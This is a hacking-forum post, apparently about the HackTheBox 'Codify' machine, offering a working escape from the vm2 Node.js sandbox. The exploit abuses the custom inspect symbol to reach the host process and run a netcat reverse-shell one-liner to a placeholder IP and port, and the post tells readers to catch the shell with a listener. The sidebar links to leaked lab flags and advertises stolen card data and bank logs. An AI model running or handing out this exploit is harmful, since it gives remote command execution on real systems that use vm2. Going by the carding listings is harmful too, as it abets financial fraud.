Temporary Advertisements:
Ad
Ad
Ad
HTB codify sandbox escape
by flippy0x00 - Saturday November 18, 2023 at 08:49 PM
#1
Tongue 
const {VM} = require("vm2");
const vm = new VM();

const code = `
const customInspectSymbol = Symbol.for('nodejs.util.inspect.custom');

obj = {
    [customInspectSymbol]: (depth, opt, inspect) => {
        inspect.constructor('return process')().mainModule.require('child_process').execSync('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc IP PORT >/tmp/f');
    },
    valueOf: undefined,
    constructor: undefined,
}

WebAssembly.compileStreaming(obj).catch(()=>{});
`;

vm.run(code);

Just run a netcat listener on whatever port to catch the rev shell
Reply


Possibly Related Threads…
Thread Author Replies Views Last Post
  [FREE] 300+ Writeups PDF HackTheBox/HTB premium retired Tamarisk 457 121,808 3 hours ago
Last Post: jiqmug
  [MEGALEAK] HackTheBox ProLabs, Fortress, Endgame - Alchemy, 250 Flags, leak htb-bot htb-bot 166 34,875 5 hours ago
Last Post: meomeothantai
  CC,CVV,VBV,NON VBV ,DUMPS ,FULLZ,BANK LOGS (FULL INFO) BEST LINKABLES @RICKBUTLER Ballerwailer4G 0 86 9 hours ago
Last Post: Ballerwailer4G
  [FREE] HackTheBox Academy - CBBH CDSA CPTS All Modules Flags Techtom 110 14,329 Yesterday, 06:21 PM
Last Post: Kazahk
Heart [FREE] HackTheBox All Cheatsheets Tamarisk 85 11,320 Yesterday, 06:13 PM
Last Post: Kazahk

Forum Jump:


 Users browsing this forum: